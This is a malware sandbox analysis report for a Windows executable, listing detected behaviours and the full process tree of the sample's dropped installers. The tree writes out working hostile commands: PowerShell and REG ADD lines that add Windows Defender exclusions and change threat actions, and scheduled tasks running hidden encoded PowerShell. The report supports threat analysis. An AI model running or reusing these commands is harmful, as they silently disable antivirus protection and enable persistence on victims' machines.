Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    186s
  • max time network
    299s
  • platform
    windows10-1703_x64
  • resource
    win10-20240404-en
  • resource tags

    arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
  • submitted
    01/07/2024, 05:06

General

  • Target

    ac7fada7fccb1d1ad86d46b89060a5c72c6d2aabd1312bfe9fa670d1129e9e9b.exe

  • Size

    7.3MB

  • MD5

    2e71f91c22ed33da2d442a0eb12fe951

  • SHA1

    0c2eec9c3ff33ef905204a8ae205f533571a1cef

  • SHA256

    ac7fada7fccb1d1ad86d46b89060a5c72c6d2aabd1312bfe9fa670d1129e9e9b

  • SHA512

    8602a9698c944d5962e190feb04b7ebb471a828f828e9b97c4a9352a45224935d2b9860b2d7d75ab03eb881e5eb380a11bb54ca3f2fa61e068d55882c5929269

  • SSDEEP

    196608:91OFx9BggZVkFSL0ng/0O9pr89EDAtJ1i1Lzv0GB+grfTuD:3ODH30qD07sFzv3B+SC

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops Chrome extension 2 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Drops file in System32 directory 33 IoCs
  • Drops file in Program Files directory 14 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 3 IoCs
  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 10 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 49 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ac7fada7fccb1d1ad86d46b89060a5c72c6d2aabd1312bfe9fa670d1129e9e9b.exe
    "C:\Users\Admin\AppData\Local\Temp\ac7fada7fccb1d1ad86d46b89060a5c72c6d2aabd1312bfe9fa670d1129e9e9b.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4424
    • C:\Users\Admin\AppData\Local\Temp\7zS6542.tmp\Install.exe
      .\Install.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:1272
      • C:\Users\Admin\AppData\Local\Temp\7zS66F7.tmp\Install.exe
        .\Install.exe /iLdidEHGZ "525403" /S
        3⤵
        • Checks BIOS information in registry
        • Executes dropped EXE
        • Enumerates system info in registry
        • Suspicious use of WriteProcessMemory
        PID:5068
        • C:\Windows\SysWOW64\forfiles.exe
          "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1128
          • C:\Windows\SysWOW64\cmd.exe
            /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:2636
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
              6⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:2692
              • C:\Windows\SysWOW64\Wbem\WMIC.exe
                "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                7⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:2004
        • C:\Windows\SysWOW64\schtasks.exe
          schtasks /CREATE /TN "brlogsXZdQLKJRjYtj" /SC once /ST 05:08:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zS66F7.tmp\Install.exe\" OF /eadidBK 525403 /S" /V1 /F
          4⤵
          • Drops file in Windows directory
          • Scheduled Task/Job: Scheduled Task
          PID:4948
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 5068 -s 628
          4⤵
          • Program crash
          PID:644
  • C:\Users\Admin\AppData\Local\Temp\7zS66F7.tmp\Install.exe
    C:\Users\Admin\AppData\Local\Temp\7zS66F7.tmp\Install.exe OF /eadidBK 525403 /S
    1⤵
    • Executes dropped EXE
    • Drops desktop.ini file(s)
    • Drops file in System32 directory
    • Modifies data under HKEY_USERS
    • Suspicious use of WriteProcessMemory
    PID:2824
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
      2⤵
      • Drops file in System32 directory
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2340
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2892
        • C:\Windows\SysWOW64\reg.exe
          REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
          4⤵
            PID:1700
        • C:\Windows\SysWOW64\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
          3⤵
            PID:2384
          • C:\Windows\SysWOW64\reg.exe
            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
            3⤵
              PID:4404
            • C:\Windows\SysWOW64\reg.exe
              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
              3⤵
                PID:1176
              • C:\Windows\SysWOW64\reg.exe
                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                3⤵
                  PID:2736
                • C:\Windows\SysWOW64\reg.exe
                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                  3⤵
                    PID:2244
                  • C:\Windows\SysWOW64\reg.exe
                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                    3⤵
                      PID:1396
                    • C:\Windows\SysWOW64\reg.exe
                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                      3⤵
                        PID:744
                      • C:\Windows\SysWOW64\reg.exe
                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                        3⤵
                          PID:2512
                        • C:\Windows\SysWOW64\reg.exe
                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                          3⤵
                            PID:3520
                          • C:\Windows\SysWOW64\reg.exe
                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                            3⤵
                              PID:1712
                            • C:\Windows\SysWOW64\reg.exe
                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                              3⤵
                                PID:4492
                              • C:\Windows\SysWOW64\reg.exe
                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                3⤵
                                  PID:4624
                                • C:\Windows\SysWOW64\reg.exe
                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                  3⤵
                                    PID:4592
                                  • C:\Windows\SysWOW64\reg.exe
                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                    3⤵
                                      PID:4696
                                    • C:\Windows\SysWOW64\reg.exe
                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                      3⤵
                                        PID:4556
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                        3⤵
                                          PID:1392
                                        • C:\Windows\SysWOW64\reg.exe
                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                          3⤵
                                            PID:1956
                                          • C:\Windows\SysWOW64\reg.exe
                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                            3⤵
                                              PID:1308
                                            • C:\Windows\SysWOW64\reg.exe
                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                              3⤵
                                                PID:2112
                                              • C:\Windows\SysWOW64\reg.exe
                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                3⤵
                                                  PID:1204
                                                • C:\Windows\SysWOW64\reg.exe
                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                  3⤵
                                                    PID:4496
                                                  • C:\Windows\SysWOW64\reg.exe
                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                    3⤵
                                                      PID:4480
                                                    • C:\Windows\SysWOW64\reg.exe
                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                      3⤵
                                                        PID:4104
                                                      • C:\Windows\SysWOW64\reg.exe
                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
                                                        3⤵
                                                          PID:5024
                                                        • C:\Windows\SysWOW64\reg.exe
                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
                                                          3⤵
                                                            PID:4248
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
                                                            3⤵
                                                              PID:764
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
                                                              3⤵
                                                                PID:2972
                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\TuhNvssQnTUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\TuhNvssQnTUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ZDLVjxnHU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ZDLVjxnHU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ijGSqddcuZeU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ijGSqddcuZeU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\nIXneLoYhSqxVZkgocR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\nIXneLoYhSqxVZkgocR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\wWtwQxeSPhIsC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\wWtwQxeSPhIsC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\rPjTFWmQUriHtIVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\rPjTFWmQUriHtIVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\KgqmxDjAgxgUqXtom\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\KgqmxDjAgxgUqXtom\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\PfAmACXkWBLbKqPZ\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\PfAmACXkWBLbKqPZ\" /t REG_DWORD /d 0 /reg:64;"
                                                              2⤵
                                                              • Drops file in System32 directory
                                                              • Modifies data under HKEY_USERS
                                                              • Suspicious behavior: EnumeratesProcesses
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:5032
                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\TuhNvssQnTUn" /t REG_DWORD /d 0 /reg:32
                                                                3⤵
                                                                  PID:524
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\TuhNvssQnTUn" /t REG_DWORD /d 0 /reg:32
                                                                    4⤵
                                                                      PID:5064
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\TuhNvssQnTUn" /t REG_DWORD /d 0 /reg:64
                                                                    3⤵
                                                                      PID:3660
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZDLVjxnHU" /t REG_DWORD /d 0 /reg:32
                                                                      3⤵
                                                                        PID:920
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZDLVjxnHU" /t REG_DWORD /d 0 /reg:64
                                                                        3⤵
                                                                          PID:508
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ijGSqddcuZeU2" /t REG_DWORD /d 0 /reg:32
                                                                          3⤵
                                                                            PID:4960
                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ijGSqddcuZeU2" /t REG_DWORD /d 0 /reg:64
                                                                            3⤵
                                                                              PID:5040
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\nIXneLoYhSqxVZkgocR" /t REG_DWORD /d 0 /reg:32
                                                                              3⤵
                                                                                PID:4612
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\nIXneLoYhSqxVZkgocR" /t REG_DWORD /d 0 /reg:64
                                                                                3⤵
                                                                                  PID:4636
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\wWtwQxeSPhIsC" /t REG_DWORD /d 0 /reg:32
                                                                                  3⤵
                                                                                    PID:220
                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\wWtwQxeSPhIsC" /t REG_DWORD /d 0 /reg:64
                                                                                    3⤵
                                                                                      PID:3356
                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\rPjTFWmQUriHtIVB /t REG_DWORD /d 0 /reg:32
                                                                                      3⤵
                                                                                        PID:4544
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\rPjTFWmQUriHtIVB /t REG_DWORD /d 0 /reg:64
                                                                                        3⤵
                                                                                          PID:4072
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                          3⤵
                                                                                            PID:4500
                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                            3⤵
                                                                                              PID:4944
                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\KgqmxDjAgxgUqXtom /t REG_DWORD /d 0 /reg:32
                                                                                              3⤵
                                                                                                PID:1460
                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\KgqmxDjAgxgUqXtom /t REG_DWORD /d 0 /reg:64
                                                                                                3⤵
                                                                                                  PID:916
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\PfAmACXkWBLbKqPZ /t REG_DWORD /d 0 /reg:32
                                                                                                  3⤵
                                                                                                    PID:4472
                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\PfAmACXkWBLbKqPZ /t REG_DWORD /d 0 /reg:64
                                                                                                    3⤵
                                                                                                      PID:1020
                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                    schtasks /CREATE /TN "gDVsKLnoB" /SC once /ST 01:22:09 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                    2⤵
                                                                                                    • Scheduled Task/Job: Scheduled Task
                                                                                                    PID:824
                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                    schtasks /run /I /tn "gDVsKLnoB"
                                                                                                    2⤵
                                                                                                      PID:4376
                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                      schtasks /DELETE /F /TN "gDVsKLnoB"
                                                                                                      2⤵
                                                                                                        PID:3440
